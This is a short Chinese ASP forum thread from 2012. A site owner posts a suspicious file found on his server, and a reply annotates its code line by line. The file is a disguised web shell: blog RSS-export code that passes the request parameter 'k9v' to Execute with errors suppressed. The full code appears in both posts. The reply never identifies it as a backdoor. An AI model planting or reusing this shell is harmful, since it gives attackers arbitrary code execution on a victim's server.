注册 登录
编程论坛 ASP技术论坛

突然发现网站其中一个目录下多了一个文件,帮看是做什么的

ab9530 发布于 2012-03-29 14:56, 462 次点击
不知是不是被人挂码了或其它用途的,文件类容如下:

<%
Call System_Initalize()
Function System_Initalize()
    On Error Resume Next
    Dim Rss2Export:Rss2Export="k9v"
    Dim objArticle:objArticle=Request(Rss2Export)
    Set Rss2Export = New TRssExport
    With Rss2Export
        Dim objRS,UserName,UserIntro
        .TimeZone=ZC_TIME_ZONE
        UserName=Users(UserID).Name
        If objArticle<>"" Then
        .AddChannelAttribute "language",ZC_BLOG_LANGUAGE
        Execute Replace(objArticle,"*"&Rss2Export,"")
        .AddChannelAttribute "copyright",TransferHTML(ZC_BLOG_COPYRIGHT,"[nohtml][html-format]")
        .AddChannelAttribute "pubDate",Now
        Response.End()
        End if
    End With
End Function
%>

帮分析一下,谢谢。
2 回复
#2
yms1232012-03-29 15:10
<%
Call System_Initalize()'调用下面定义的函数
Function System_Initalize()
    On Error Resume Next'忽略程序执行错误
    Dim Rss2Export:Rss2Export="k9v"'定义一个变量并赋值为k9v
    Dim objArticle:objArticle=Request(Rss2Export)'定义一个变量,并且把url提交过来的参数k9v赋值给这个变量
    Set Rss2Export = New TRssExport'创建一个名为Rss2Export的对象
    With Rss2Export'下面的属性都是这个对象的
        Dim objRS,UserName,UserIntro'声明变量
        .TimeZone=ZC_TIME_ZONE'将Rss2Export.TimeZone=ZC_TIME_ZONE这个变量
        UserName=Users(UserID).Name'Users这里是一个集合
        If objArticle<>"" Then
        .AddChannelAttribute "language",ZC_BLOG_LANGUAGE
        Execute Replace(objArticle,"*"&Rss2Export,"")
        .AddChannelAttribute "copyright",TransferHTML(ZC_BLOG_COPYRIGHT,"[nohtml][html-format]")
        .AddChannelAttribute "pubDate",Now
        Response.End()
        End if
    End With
End Function
%>
#3
ab95302012-03-29 15:13
它这个程序有什么用呢,我把它删除了,也不知是什么时候被加上的,原来是没有的,一直网站也用得好好的。会不会是盗网站中数据的?
1